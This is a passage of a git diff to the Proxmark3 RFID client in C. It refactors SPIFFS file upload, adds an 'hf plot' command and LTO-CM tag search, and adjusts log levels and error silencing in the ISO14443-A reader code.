b/client/cmdflashmemspiffs.c index 492fc0bcc..bdc51dc5d 100644 --- a/client/cmdflashmemspiffs.c +++ b/client/cmdflashmemspiffs.c @@ -314,11 +314,77 @@ static int CmdFlashMemSpiFFSDump(const char *Cmd) { return PM3_SUCCESS; } +int flashmem_spiffs_load(uint8_t *destfn, uint8_t *data, size_t datalen) { + + int ret_val = PM3_SUCCESS; + + // We want to mount before multiple operation so the lazy writes/append will not + // trigger a mount + umount each loop iteration (lazy ops device side) + SendCommandNG(CMD_SPIFFS_MOUNT, NULL, 0); + + // Send to device + uint32_t bytes_sent = 0; + uint32_t bytes_remaining = datalen; + uint32_t append = 0; + + // fast push mode + conn.block_after_ACK = true; + + while (bytes_remaining > 0) { + uint32_t bytes_in_packet = MIN(FLASH_MEM_BLOCK_SIZE, bytes_remaining); + + clearCommandBuffer(); + + char fdata[32 + bytes_in_packet]; + memset(fdata, 0, sizeof(fdata)); + memcpy(fdata, destfn, 32); + memcpy(fdata + 32, data + bytes_sent, bytes_in_packet); + + if (bytes_sent > 0) + append = 1; + + SendCommandOLD(CMD_SPIFFS_WRITE, append, bytes_in_packet, 0, fdata, 32 + bytes_in_packet); + + bytes_remaining -= bytes_in_packet; + bytes_sent += bytes_in_packet; + + PacketResponseNG resp; + + uint8_t retry = 3; + while (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { + PrintAndLogEx(WARNING, "timeout while waiting for reply."); + retry--; + if (retry == 0) { + ret_val = PM3_ETIMEOUT; + goto out; + } + } + + uint8_t isok = resp.oldarg[0] & 0xFF; + if (!isok) { + PrintAndLogEx(FAILED, "Flash write fail [offset %u]", bytes_sent); + ret_val = PM3_EFLASH; + break; + } + } + +out: + clearCommandBuffer(); + + // turn off fast push mode + conn.block_after_ACK = false; + + // We want to unmount after these to set things back to normal but more than this + // unmouting ensure that SPIFFS CACHES are all flushed so our file is actually written on memory + SendCommandNG(CMD_SPIFFS_UNMOUNT, NULL, 0); + + return ret_val; +} + static int CmdFlashMemSpiFFSLoad(const char *Cmd) { - uint32_t append = 0; char filename[FILE_PATH_SIZE] = {0}; - char destfilename[32] = {0}; + uint8_t destfilename[32] = {0}; bool errors = false; uint8_t cmdp = 0; @@ -334,8 +400,8 @@ static int CmdFlashMemSpiFFSLoad(const char *Cmd) { cmdp += 2; break; case 'o': - param_getstr(Cmd, cmdp + 1, destfilename, 32); - if (strlen(destfilename) == 0) { + param_getstr(Cmd, cmdp + 1, (char*)destfilename, 32); + if (strlen((char*)destfilename) == 0) { PrintAndLogEx(FAILED, "Destination Filename missing or invalid"); errors = true; } @@ -362,63 +428,14 @@ static int CmdFlashMemSpiFFSLoad(const char *Cmd) { return PM3_EFILE; } - // We want to mount before multiple operation so the lazy writes/append will not - // trigger a mount + umount each loop iteration (lazy ops device side) - SendCommandNG(CMD_SPIFFS_MOUNT, NULL, 0); - - // Send to device - uint32_t bytes_sent = 0; - uint32_t bytes_remaining = datalen; - - // fast push mode - conn.block_after_ACK = true; - - // SendCommandMIX(CMD_SPIFFS_COPY, 0, 0, 0, (uint8_t *)data, 65); - - while (bytes_remaining > 0) { - uint32_t bytes_in_packet = MIN(FLASH_MEM_BLOCK_SIZE, bytes_remaining); - - clearCommandBuffer(); - - char fdata[32 + bytes_in_packet]; - memset(fdata, 0, sizeof(fdata)); - memcpy(fdata, destfilename, 32); - memcpy(fdata + 32, data + bytes_sent, bytes_in_packet); - // sprintf(fdata, "%s%s", destfilename, data + bytes_sent); - - if (bytes_sent > 0) - append = 1; - - SendCommandOLD(CMD_SPIFFS_WRITE, append, bytes_in_packet, 0, fdata, 32 + bytes_in_packet); - - bytes_remaining -= bytes_in_packet; - bytes_sent += bytes_in_packet; - - PacketResponseNG resp; - if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { - PrintAndLogEx(WARNING, "timeout while waiting for reply."); - conn.block_after_ACK = false; - free(data); - return PM3_ETIMEOUT; - } - - uint8_t isok = resp.oldarg[0] & 0xFF; - if (!isok) { - conn.block_after_ACK = false; - PrintAndLogEx(FAILED, "Flash write fail [offset %u]", bytes_sent); - free(data); - return PM3_EFLASH; - } - } - - conn.block_after_ACK = false; + res = flashmem_spiffs_load(destfilename, data, datalen); + free(data); - PrintAndLogEx(SUCCESS, "Wrote "_GREEN_("%zu") "bytes to file "_GREEN_("%s"), datalen, destfilename); - - // We want to unmount after these to set things back to normal but more than this - // unmouting ensure that SPIFFS CACHES are all flushed so our file is actually written on memory - SendCommandNG(CMD_SPIFFS_UNMOUNT, NULL, 0); - return PM3_SUCCESS; + + if ( res == PM3_SUCCESS ) + PrintAndLogEx(SUCCESS, "Wrote "_GREEN_("%zu") "bytes to file "_GREEN_("%s"), datalen, destfilename); + + return res; } static command_t CommandTable[] = { diff --git a/client/cmdflashmemspiffs.h b/client/cmdflashmemspiffs.h index d2dee17ab..9324a541b 100644 --- a/client/cmdflashmemspiffs.h +++ b/client/cmdflashmemspiffs.h @@ -14,5 +14,6 @@ #include "common.h" int CmdFlashMemSpiFFS(const char *Cmd); +int flashmem_spiffs_load(uint8_t *destfn, uint8_t *data, size_t datalen); #endif diff --git a/client/cmdhf.c b/client/cmdhf.c index dd21c2649..e90f2ea28 100644 --- a/client/cmdhf.c +++ b/client/cmdhf.c @@ -1,6 +1,9 @@ //----------------------------------------------------------------------------- // Copyright (C) 2010 iZsh // Merlok - 2017 +// Doegox - 2019 +// Iceman - 2019 +// Piwi - 2019 // // This code is licensed to you under the terms of the GNU GPL, version 2 or, // at your option, any later version. See the LICENSE.txt file for the text of @@ -10,11 +13,12 @@ //----------------------------------------------------------------------------- #include "cmdhf.h" -#include // tolower - -#include "cmdparser.h" // command_t -#include "comms.h" // clearCommandBuffer +#include // tolower +#include "cmdparser.h" // command_t +#include "cliparser/cliparser.h" // parse +#include "comms.h" // clearCommandBuffer +#include "lfdemod.h" // computeSignalProperties #include "cmdhf14a.h" // ISO14443-A #include "cmdhf14b.h" // ISO14443-B #include "cmdhf15.h" // ISO15693 @@ -29,8 +33,12 @@ #include "cmdhffelica.h" // ISO18092 / FeliCa #include "cmdhffido.h" // FIDO authenticators #include "cmdhfthinfilm.h" // Thinfilm +#include "cmdhflto.h" // LTO-CM #include "cmdtrace.h" // trace list #include "ui.h" +#include "cmddata.h" +#include "graph.h" +#include "../common_fpga/fpga.h" static int CmdHelp(const char *Cmd); @@ -77,13 +85,20 @@ int CmdHFSearch(const char *Cmd) { char cmdp = tolower(param_getchar(Cmd, 0)); if (cmdp == 'h') return usage_hf_search(); - PrintAndLogEx(INFO, "Checking for known tags...\n"); - PROMPT_CLEARLINE; PrintAndLogEx(INPLACE, "Searching for ThinFilm tag..."); if (IfPm3NfcBarcode()) { if (infoThinFilm(false) == PM3_SUCCESS) { - PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Thinfilm tag") " found\n"); + PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Thinfilm tag") "found\n"); + return PM3_SUCCESS; + } + } + + PROMPT_CLEARLINE; + PrintAndLogEx(INPLACE, "Searching for LTO-CM tag..."); + if (IfPm3Iso14443a()) { + if (infoLTO(false) == PM3_SUCCESS) { + PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("LTO-CM tag") "found\n"); return PM3_SUCCESS; } } @@ -92,7 +107,7 @@ int CmdHFSearch(const char *Cmd) { PrintAndLogEx(INPLACE, "Searching for ISO14443-A tag..."); if (IfPm3Iso14443a()) { if (infoHF14A(false, false, false) > 0) { - PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("ISO14443-A tag") " found\n"); + PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("ISO14443-A tag") "found\n"); return PM3_SUCCESS; } } @@ -100,20 +115,17 @@ int CmdHFSearch(const char *Cmd) { PROMPT_CLEARLINE; PrintAndLogEx(INPLACE, "Searching for ISO15693 tag..."); if (IfPm3Iso15693()) { - if (readHF15Uid(false) == 1) { - PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("ISO15693 tag") " found\n"); - DropField(); + if (readHF15Uid(false)) { + PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("ISO15693 tag") "found\n"); return PM3_SUCCESS; } - // until refactoring of ISO15693 cmds, this is needed. - DropField(); } PROMPT_CLEARLINE; PrintAndLogEx(INPLACE, "Searching for LEGIC tag..."); if (IfPm3Legicrf()) { if (readLegicUid(false) == PM3_SUCCESS) { - PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("LEGIC tag") " found\n"); + PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("LEGIC tag") "found\n"); return PM3_SUCCESS; } } @@ -122,7 +134,7 @@ int CmdHFSearch(const char *Cmd) { PrintAndLogEx(INPLACE, "Searching for Topaz tag..."); if (IfPm3Iso14443a()) { if (readTopazUid() == PM3_SUCCESS) { - PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Topaz tag") " found\n"); + PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Topaz tag") "found\n"); return PM3_SUCCESS; } } @@ -131,7 +143,7 @@ int CmdHFSearch(const char *Cmd) { PrintAndLogEx(INPLACE, "Searching for FeliCa tag..."); if (IfPm3Felica()) { if (readFelicaUid(false) == PM3_SUCCESS) { - PrintAndLogEx(NORMAL, "\nValid " _GREEN_("ISO18092 / FeliCa tag") " found\n"); + PrintAndLogEx(NORMAL, "\nValid " _GREEN_("ISO18092 / FeliCa tag") "found\n"); return PM3_SUCCESS; } } @@ -141,7 +153,7 @@ int CmdHFSearch(const char *Cmd) { PrintAndLogEx(INPLACE, "Searching for ISO14443-B tag..."); if (IfPm3Iso14443a()) { if (readHF14B(false) == 1) { - PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("ISO14443-B tag") " found\n"); + PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("ISO14443-B tag") "found\n"); return PM3_SUCCESS; } } @@ -149,13 +161,14 @@ int CmdHFSearch(const char *Cmd) { PROMPT_CLEARLINE; PrintAndLogEx(INPLACE, "Searching for iClass / PicoPass tag..."); if (IfPm3Iclass()) { - if (readIclass(false, false) == 1) { - PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("iClass tag / PicoPass tag") " found\n"); + if (readIclass(false, false) == PM3_SUCCESS) { + PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("iClass tag / PicoPass tag") "found\n"); return PM3_SUCCESS; } } - PrintAndLogEx(INPLACE, "No known/supported 13.56 MHz tags found"); + PROMPT_CLEARLINE; + PrintAndLogEx(INPLACE, _RED_("No known/supported 13.56 MHz tags found")); PrintAndLogEx(NORMAL, ""); return PM3_ESOFT; } @@ -166,7 +179,7 @@ int CmdHFTune(const char *Cmd) { int iter = param_get32ex(Cmd, 0, 0, 10); PacketResponseNG resp; - PrintAndLogEx(SUCCESS, "Measuring HF antenna, click button or press Enter to exit"); + PrintAndLogEx(SUCCESS, "Measuring HF antenna," _YELLOW_("click button") " or press" _YELLOW_("Enter") "to exit"); clearCommandBuffer(); uint8_t mode[] = {1}; SendCommandNG(CMD_MEASURE_ANTENNA_TUNING_HF, mode, sizeof(mode)); @@ -213,6 +226,42 @@ int CmdHFSniff(const char *Cmd) { return PM3_SUCCESS; } +int CmdHFPlot(const char *Cmd) { + CLIParserInit("hf plot", + "Plots HF signal after RF signal path and A/D conversion.", + "This can be used after any hf command and will show the last few milliseconds of the HF signal.\n" + "Note: If the last hf command terminated because of a timeout you will most probably see nothing.\n"); + void *argtable[] = { + arg_param_begin, + arg_param_end + }; + CLIExecWithReturn(Cmd, argtable, true); + + uint8_t buf[FPGA_TRACE_SIZE]; + + PacketResponseNG response; + if (!GetFromDevice(FPGA_MEM, buf, FPGA_TRACE_SIZE, 0, NULL, 0, &response, 4000, true)) { + PrintAndLogEx(WARNING, "timeout while waiting for reply."); + return PM3_ETIMEOUT; + } + + for (size_t i = 0; i < FPGA_TRACE_SIZE; i++) { + GraphBuffer[i] = ((int)buf[i]) - 127; + } + + GraphTraceLen = FPGA_TRACE_SIZE; + + ShowGraphWindow(); + + // remove signal offset + CmdHpf(""); + + setClockGrid(0, 0); + DemodBufferLen = 0; + RepaintGraphWindow(); + return PM3_SUCCESS; +} + static command_t CommandTable[] = { {"help", CmdHelp, AlwaysAvailable, "This help"}, {"14a", CmdHF14A, AlwaysAvailable, "{ ISO14443A RFIDs... }"}, @@ -220,16 +269,18 @@ static command_t CommandTable[] = { {"15", CmdHF15, AlwaysAvailable, "{ ISO15693 RFIDs... }"}, {"epa", CmdHFEPA, AlwaysAvailable, "{ German Identification Card... }"}, {"felica", CmdHFFelica, AlwaysAvailable, "{ ISO18092 / Felica RFIDs... }"}, - {"legic", CmdHFLegic, AlwaysAvailable, "{ LEGIC RFIDs... }"}, + {"fido", CmdHFFido, AlwaysAvailable, "{ FIDO and FIDO2 authenticators... }"}, {"iclass", CmdHFiClass, AlwaysAvailable, "{ ICLASS RFIDs... }"}, + {"legic", CmdHFLegic, AlwaysAvailable, "{ LEGIC RFIDs... }"}, + {"lto", CmdHFLTO, AlwaysAvailable, "{ LTO Cartridge Memory RFIDs... }"}, {"mf", CmdHFMF, AlwaysAvailable, "{ MIFARE RFIDs... }"}, {"mfp", CmdHFMFP, AlwaysAvailable, "{ MIFARE Plus RFIDs... }"}, {"mfu", CmdHFMFUltra, AlwaysAvailable, "{ MIFARE Ultralight RFIDs... }"}, {"mfdes", CmdHFMFDes, AlwaysAvailable, "{ MIFARE Desfire RFIDs... }"}, - {"topaz", CmdHFTopaz, AlwaysAvailable, "{ TOPAZ (NFC Type 1) RFIDs... }"}, - {"fido", CmdHFFido, AlwaysAvailable, "{ FIDO and FIDO2 authenticators... }"}, {"thinfilm", CmdHFThinfilm, AlwaysAvailable, "{ Thinfilm RFIDs... }"}, + {"topaz", CmdHFTopaz, AlwaysAvailable, "{ TOPAZ (NFC Type 1) RFIDs... }"}, {"list", CmdTraceList, AlwaysAvailable, "List protocol data in trace buffer"}, + {"plot", CmdHFPlot, IfPm3Hfplot, "Plot signal"}, {"tune", CmdHFTune, IfPm3Present, "Continuously measure HF antenna tuning"}, {"search", CmdHFSearch, AlwaysAvailable, "Search for known HF tags"}, {"sniff", CmdHFSniff, IfPm3Hfsniff, " Generic HF Sniff"}, diff --git a/client/cmdhf.h b/client/cmdhf.h index 14ded8e0e..09af16d5e 100644 --- a/client/cmdhf.h +++ b/client/cmdhf.h @@ -1,6 +1,6 @@ //----------------------------------------------------------------------------- // Copyright (C) 2010 iZsh -// +// Piwi, Feb 2019 // This code is licensed to you under the terms of the GNU GPL, version 2 or, // at your option, any later version. See the LICENSE.txt file for the text of // the license. @@ -17,5 +17,6 @@ int CmdHF(const char *Cmd); int CmdHFTune(const char *Cmd); int CmdHFSearch(const char *Cmd); int CmdHFSniff(const char *Cmd); +int CmdHFPlot(const char *Cmd); #endif diff --git a/client/cmdhf14a.c b/client/cmdhf14a.c index 2f8473d1c..c611caa1f 100644 --- a/client/cmdhf14a.c +++ b/client/cmdhf14a.c @@ -256,20 +256,20 @@ int Hf14443_4aGetCardData(iso14a_card_select_t *card) { } if (select_status == 3) { - PrintAndLogEx(NORMAL, "E->Card doesn't support standard iso14443-3 anticollision"); - PrintAndLogEx(NORMAL, "\tATQA : %02x %02x", card->atqa[1], card->atqa[0]); + PrintAndLogEx(INFO, "E->Card doesn't support standard iso14443-3 anticollision"); + PrintAndLogEx(SUCCESS, "\tATQA : %02x %02x", card->atqa[1], card->atqa[0]); return 1; } - PrintAndLogEx(NORMAL, " UID: %s", sprint_hex(card->uid, card->uidlen)); - PrintAndLogEx(NORMAL, "ATQA: %02x %02x", card->atqa[1], card->atqa[0]); - PrintAndLogEx(NORMAL, " SAK: %02x [%" PRIu64 "]", card->sak, resp.oldarg[0]); + PrintAndLogEx(SUCCESS, " UID: %s", sprint_hex(card->uid, card->uidlen)); + PrintAndLogEx(SUCCESS, "ATQA: %02x %02x", card->atqa[1], card->atqa[0]); + PrintAndLogEx(SUCCESS, " SAK: %02x [%" PRIu64 "]", card->sak, resp.oldarg[0]); if (card->ats_len < 3) { // a valid ATS consists of at least the length byte (TL) and 2 CRC bytes - PrintAndLogEx(NORMAL, "E-> Error ATS length(%d) : %s", card->ats_len, sprint_hex(card->ats, card->ats_len)); + PrintAndLogEx(INFO, "E-> Error ATS length(%d) : %s", card->ats_len, sprint_hex(card->ats, card->ats_len)); return 1; } - PrintAndLogEx(NORMAL, " ATS: %s", sprint_hex(card->ats, card->ats_len)); + PrintAndLogEx(SUCCESS, " ATS: %s", sprint_hex(card->ats, card->ats_len)); return 0; } @@ -334,18 +334,18 @@ static int CmdHF14AReader(const char *Cmd) { } if (select_status == 3) { - PrintAndLogEx(NORMAL, "Card doesn't support standard iso14443-3 anticollision"); - PrintAndLogEx(NORMAL, "ATQA : %02x %02x", card.atqa[1], card.atqa[0]); + PrintAndLogEx(INFO, "Card doesn't support standard iso14443-3 anticollision"); + PrintAndLogEx(SUCCESS, "ATQA : %02x %02x", card.atqa[1], card.atqa[0]); DropField(); return 1; } - PrintAndLogEx(NORMAL, " UID : %s", sprint_hex(card.uid, card.uidlen)); - PrintAndLogEx(NORMAL, "ATQA : %02x %02x", card.atqa[1], card.atqa[0]); - PrintAndLogEx(NORMAL, " SAK : %02x [%" PRIu64 "]", card.sak, resp.oldarg[0]); + PrintAndLogEx(SUCCESS, " UID : %s", sprint_hex(card.uid, card.uidlen)); + PrintAndLogEx(SUCCESS, "ATQA : %02x %02x", card.atqa[1], card.atqa[0]); + PrintAndLogEx(SUCCESS, " SAK : %02x [%" PRIu64 "]", card.sak, resp.oldarg[0]); if (card.ats_len >= 3) { // a valid ATS consists of at least the length byte (TL) and 2 CRC bytes - PrintAndLogEx(NORMAL, " ATS : %s", sprint_hex(card.ats, card.ats_len)); + PrintAndLogEx(SUCCESS, " ATS : %s", sprint_hex(card.ats, card.ats_len)); } if (!disconnectAfter) { @@ -422,7 +422,7 @@ static int CmdHF14ACUIDs(const char *Cmd) { for (uint16_t m = 0; m < card->uidlen; m++) { sprintf(&uid_string[2 * m], "%02X", card->uid[m]); } - PrintAndLogEx(NORMAL, "%s", uid_string); + PrintAndLogEx(SUCCESS, "%s", uid_string); } } PrintAndLogEx(SUCCESS, "end: %" PRIu64 " seconds", (msclock() - t1) / 1000); @@ -512,8 +512,9 @@ int CmdHF14ASim(const char *Cmd) { PacketResponseNG resp; PrintAndLogEx(SUCCESS, "press pm3-button to abort simulation"); + bool keypress = kbd_enter_pressed(); + while (!keypress) { - while (!kbd_enter_pressed()) { if (WaitForResponseTimeout(CMD_HF_MIFARE_SIMULATE, &resp, 1500) == 0) continue; if (resp.status != PM3_SUCCESS) break; @@ -521,7 +522,15 @@ int CmdHF14ASim(const char *Cmd) { nonces_t *data = (nonces_t *)resp.data.asBytes; readerAttack(data[0], setEmulatorMem, verbose); + + keypress = kbd_enter_pressed(); } + + if (keypress && (flags & FLAG_NR_AR_ATTACK) == FLAG_NR_AR_ATTACK) { + // inform device to break the sim loop since client has exited + SendCommandNG(CMD_BREAK_LOOP, NULL, 0); + } + if (resp.status == PM3_EOPABORTED && ((flags & FLAG_NR_AR_ATTACK) == FLAG_NR_AR_ATTACK)) showSectorTable(); @@ -542,30 +551,29 @@ int CmdHF14ASniff(const char *Cmd) { return PM3_SUCCESS; } -int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen) { +int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, bool silentMode) { static uint8_t responseNum = 0; uint16_t cmdc = 0; *dataoutlen = 0; if (activateField) { - responseNum = 1; PacketResponseNG resp; // Anticollision + SELECT card SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT | ISO14A_NO_DISCONNECT, 0, 0, NULL, 0); if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { - PrintAndLogEx(ERR, "Proxmark3 connection timeout."); + if (!silentMode) PrintAndLogEx(ERR, "Proxmark3 connection timeout."); return 1; } // check result if (resp.oldarg[0] == 0) { - PrintAndLogEx(ERR, "No card in field."); + if (!silentMode) PrintAndLogEx(ERR, "No card in field."); return 1; } if (resp.oldarg[0] != 1 && resp.oldarg[0] != 2) { - PrintAndLogEx(ERR, "Card not in iso14443-4. res=%" PRId64 ".", resp.oldarg[0]); + if (!silentMode) PrintAndLogEx(ERR, "Card not in iso14443-4. res=%" PRId64 ".", resp.oldarg[0]); return 1; } @@ -574,12 +582,12 @@ int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leav uint8_t rats[] = { 0xE0, 0x80 }; // FSDI=8 (FSD=256), CID=0 SendCommandOLD(CMD_HF_ISO14443A_READER, ISO14A_RAW | ISO14A_APPEND_CRC | ISO14A_NO_DISCONNECT, 2, 0, rats, 2); if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { - PrintAndLogEx(ERR, "Proxmark3 connection timeout."); + if (!silentMode) PrintAndLogEx(ERR, "Proxmark3 connection timeout."); return 1; } if (resp.oldarg[0] == 0) { // ats_len - PrintAndLogEx(ERR, "Can't get ATS."); + if (!silentMode) PrintAndLogEx(ERR, "Can't get ATS."); return 1; } } @@ -601,7 +609,7 @@ int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leav int iLen = resp.oldarg[0]; if (!iLen) { - PrintAndLogEx(ERR, "No card response."); + if (!silentMode) PrintAndLogEx(ERR, "No card response."); return 1; } @@ -610,12 +618,12 @@ int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leav *dataoutlen = 0; if (maxdataoutlen && *dataoutlen > maxdataoutlen) { - PrintAndLogEx(ERR, "Buffer too small(%d). Needs %d bytes", *dataoutlen, maxdataoutlen); + if (!silentMode) PrintAndLogEx(ERR, "Buffer too small(%d). Needs %d bytes", *dataoutlen, maxdataoutlen); return 2; } if (recv[0] != data[0]) { - PrintAndLogEx(ERR, "iso14443-4 framing error. Card send %2x must be %2x", dataout[0], data[0]); + if (!silentMode) PrintAndLogEx(ERR, "iso14443-4 framing error. Card send %2x must be %2x", dataout[0], data[0]); return 2; } @@ -623,12 +631,12 @@ int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leav // CRC Check if (iLen == -1) { - PrintAndLogEx(ERR, "ISO 14443A CRC error."); + if (!silentMode) PrintAndLogEx(ERR, "ISO 14443A CRC error."); return 3; } } else { - PrintAndLogEx(ERR, "Reply timeout."); + if (!silentMode) PrintAndLogEx(ERR, "Reply timeout."); return 4; } @@ -1264,16 +1272,18 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { return select_status; } + PrintAndLogEx(NORMAL, ""); + if (select_status == 3) { - PrintAndLogEx(NORMAL, "Card doesn't support standard iso14443-3 anticollision"); - PrintAndLogEx(NORMAL, "ATQA : %02x %02x", card.atqa[1], card.atqa[0]); + PrintAndLogEx(INFO, "Card doesn't support standard iso14443-3 anticollision"); + PrintAndLogEx(SUCCESS, "ATQA : %02x %02x", card.atqa[1], card.atqa[0]); DropField(); return select_status; } - PrintAndLogEx(NORMAL, " UID : %s", sprint_hex(card.uid, card.uidlen)); - PrintAndLogEx(NORMAL, "ATQA : %02x %02x", card.atqa[1], card.atqa[0]); - PrintAndLogEx(NORMAL, " SAK : %02x [%" PRIu64 "]", card.sak, resp.oldarg[0]); + PrintAndLogEx(SUCCESS, " UID : %s", sprint_hex(card.uid, card.uidlen)); + PrintAndLogEx(SUCCESS, "ATQA : %02x %02x", card.atqa[1], card.atqa[0]); + PrintAndLogEx(SUCCESS, " SAK : %02x [%" PRIu64 "]", card.sak, resp.oldarg[0]); bool isMifareClassic = true; switch (card.sak) { @@ -1287,7 +1297,7 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { if (tagT != UL_ERROR) ul_print_type(tagT, 0); else - PrintAndLogEx(NORMAL, "TYPE: Possible AZTEK (iso14443a compliant)"); + PrintAndLogEx(SUCCESS, "TYPE: Possible AZTEK (iso14443a compliant)"); // reconnect for further tests clearCommandBuffer(); @@ -1304,49 +1314,49 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { } break; case 0x01: - PrintAndLogEx(NORMAL, "TYPE : NXP TNP3xxx Activision Game Appliance"); + PrintAndLogEx(SUCCESS, "TYPE : NXP TNP3xxx Activision Game Appliance"); break; case 0x04: - PrintAndLogEx(NORMAL, "TYPE : NXP MIFARE (various !DESFire !DESFire EV1)"); + PrintAndLogEx(SUCCESS, "TYPE : NXP MIFARE (various !DESFire !DESFire EV1)"); isMifareClassic = false; break; case 0x08: - PrintAndLogEx(NORMAL, "TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1 | 1k Ev1"); + PrintAndLogEx(SUCCESS, "TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1 | 1k Ev1"); break; case 0x09: - PrintAndLogEx(NORMAL, "TYPE : NXP MIFARE Mini 0.3k"); + PrintAndLogEx(SUCCESS, "TYPE : NXP MIFARE Mini 0.3k"); break; case 0x0A: - PrintAndLogEx(NORMAL, "TYPE : FM11RF005SH (Shanghai Metro)"); + PrintAndLogEx(SUCCESS, "TYPE : FM11RF005SH (Shanghai Metro)"); break; case 0x10: - PrintAndLogEx(NORMAL, "TYPE : NXP MIFARE Plus 2k SL2"); + PrintAndLogEx(SUCCESS, "TYPE : NXP MIFARE Plus 2k SL2"); break; case 0x11: - PrintAndLogEx(NORMAL, "TYPE : NXP MIFARE Plus 4k SL2"); + PrintAndLogEx(SUCCESS, "TYPE : NXP MIFARE Plus 4k SL2"); break; case 0x18: - PrintAndLogEx(NORMAL, "TYPE : NXP MIFARE Classic 4k | Plus 4k SL1 | 4k Ev1"); + PrintAndLogEx(SUCCESS, "TYPE : NXP MIFARE Classic 4k | Plus 4k SL1 | 4k Ev1"); break; case 0x20: - PrintAndLogEx(NORMAL, "TYPE : NXP MIFARE DESFire 4k | DESFire EV1 2k/4k/8k | Plus 2k/4k SL3 | JCOP 31/41"); + PrintAndLogEx(SUCCESS, "TYPE : NXP MIFARE DESFire 4k | DESFire EV1 2k/4k/8k | Plus 2k/4k SL3 | JCOP 31/41"); isMifareClassic = false; break; case 0x24: - PrintAndLogEx(NORMAL, "TYPE : NXP MIFARE DESFire | DESFire EV1"); + PrintAndLogEx(SUCCESS, "TYPE : NXP MIFARE DESFire | DESFire EV1"); isMifareClassic = false; break; case 0x28: - PrintAndLogEx(NORMAL, "TYPE : JCOP31 or JCOP41 v2.3.1"); + PrintAndLogEx(SUCCESS, "TYPE : JCOP31 or JCOP41 v2.3.1"); break; case 0x38: - PrintAndLogEx(NORMAL, "TYPE : Nokia 6212 or 6131 MIFARE CLASSIC 4K"); + PrintAndLogEx(SUCCESS, "TYPE : Nokia 6212 or 6131 MIFARE CLASSIC 4K"); break; case 0x88: - PrintAndLogEx(NORMAL, "TYPE : Infineon MIFARE CLASSIC 1K"); + PrintAndLogEx(SUCCESS, "TYPE : Infineon MIFARE CLASSIC 1K"); break; case 0x98: - PrintAndLogEx(NORMAL, "TYPE : Gemplus MPCOS"); + PrintAndLogEx(SUCCESS, "TYPE : Gemplus MPCOS"); break; default: ; @@ -1354,7 +1364,7 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { // Double & triple sized UID, can be mapped to a manufacturer. if (card.uidlen > 4) { - PrintAndLogEx(NORMAL, "MANUFACTURER : %s", getTagInfo(card.uid[0])); + PrintAndLogEx(SUCCESS, "MANUFACTURER : %s", getTagInfo(card.uid[0])); } // try to request ATS even if tag claims not to support it @@ -1373,12 +1383,12 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { int pos; if (select_status == 2) { - PrintAndLogEx(NORMAL, "SAK incorrectly claims that card doesn't support RATS"); + PrintAndLogEx(INFO, "SAK incorrectly claims that card doesn't support RATS"); } - PrintAndLogEx(NORMAL, " ATS : %s", sprint_hex(card.ats, card.ats_len)); - PrintAndLogEx(NORMAL, " - TL : length is %d bytes", card.ats[0]); + PrintAndLogEx(SUCCESS, " ATS : %s", sprint_hex(card.ats, card.ats_len)); + PrintAndLogEx(SUCCESS, " - TL : length is %d bytes", card.ats[0]); if (card.ats[0] != card.ats_len - 2) { - PrintAndLogEx(NORMAL, "ATS may be corrupted. Length of ATS (%d bytes incl. 2 Bytes CRC) doesn't match TL", card.ats_len); + PrintAndLogEx(SUCCESS, "ATS may be corrupted. Length of ATS (%d bytes incl. 2 Bytes CRC) doesn't match TL", card.ats_len); } if (card.ats[0] > 1) { // there is a format byte (T0) @@ -1387,7 +1397,7 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { tc1 = (card.ats[1] & 0x40) == 0x40; int16_t fsci = card.ats[1] & 0x0f; - PrintAndLogEx(NORMAL, " - T0 : TA1 is%s present, TB1 is%s present, " + PrintAndLogEx(SUCCESS, " - T0 : TA1 is%s present, TB1 is%s present, " "TC1 is%s present, FSCI is %d (FSC = %d)", (ta1 ? "" : " NOT"), (tb1 ? "" : " NOT"), @@ -1408,7 +1418,7 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { if (card.ats[pos] & 0x04) strcat(dr, "8, "); if (strlen(ds) != 0) ds[strlen(ds) - 2] = '\0'; if (strlen(dr) != 0) dr[strlen(dr) - 2] = '\0'; - PrintAndLogEx(NORMAL, " - TA1 : different divisors are%s supported, " + PrintAndLogEx(SUCCESS, " - TA1 : different divisors are%s supported, " "DR: [%s], DS: [%s]", ((card.ats[pos] & 0x80) ? " NOT" : ""), dr, @@ -1420,7 +1430,7 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { if 